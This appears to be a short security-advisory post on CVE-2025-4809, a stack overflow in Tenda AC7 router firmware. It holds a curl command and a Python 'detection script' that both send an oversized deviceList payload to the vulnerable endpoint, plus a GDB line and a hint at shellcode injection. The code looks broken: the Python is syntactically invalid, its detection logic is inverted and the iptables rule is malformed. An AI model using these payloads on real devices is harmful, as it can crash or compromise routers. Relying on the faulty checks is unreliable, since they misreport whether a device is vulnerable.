Listen to this Post
How the CVE Works:
CVE-2025-4809 is a critical stack-based buffer overflow vulnerability in Tenda AC7 routers (firmware v15.03.06.44). The flaw resides in the `fromSafeSetMacFilter` function within /goform/setMacFilterCfg. Attackers can exploit this by sending a malicious `deviceList` argument, which overflows the stack due to insufficient bounds checking. Since the vulnerability is remotely exploitable, an unauthenticated attacker could execute arbitrary code, leading to full device compromise. Publicly disclosed PoC exploits increase the risk of widespread attacks.
DailyCVE Form:
Platform: Tenda AC7
Version: 15.03.06.44
Vulnerability: Stack overflow
Severity: Critical
Date: 05/16/2025
What Undercode Say:
Analytics:
- CVSS Score: 9.8 (Critical)
- Attack Vector: Remote
- Impact: RCE, DoS
Exploit Commands:
curl -X POST -d "deviceList=$(python -c 'print(\"A\"500)')" http://<TARGET_IP>/goform/setMacFilterCfg
Protection Commands:
Block unauthorized access iptables -A INPUT -p tcp --dport 80 -s !TRUSTED_IP -j DROP Firmware update check wget http://www.tenda.com.cn/download/firmware/AC7/update.log
Detection Script (Python):
import requests
target = "http://192.168.1.1/goform/setMacFilterCfg"
payload = {"deviceList": "A"500}
try:
r = requests.post(target, data=payload, timeout=5)
if r.status_code == 200:
print("[!] Vulnerable to CVE-2025-4809")
except:
print("[+] Target not vulnerable")
Mitigation Steps:
1. Update firmware immediately.
2. Disable remote admin access.
- Monitor logs for suspicious POST requests to
/goform/setMacFilterCfg.
Exploit Analysis:
The overflow occurs when `deviceList` exceeds the buffer size, overwriting return addresses. Shellcode can be injected for RCE.
Debugging (GDB):
gdb ./httpd break fromSafeSetMacFilter run x/100x $esp
References:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
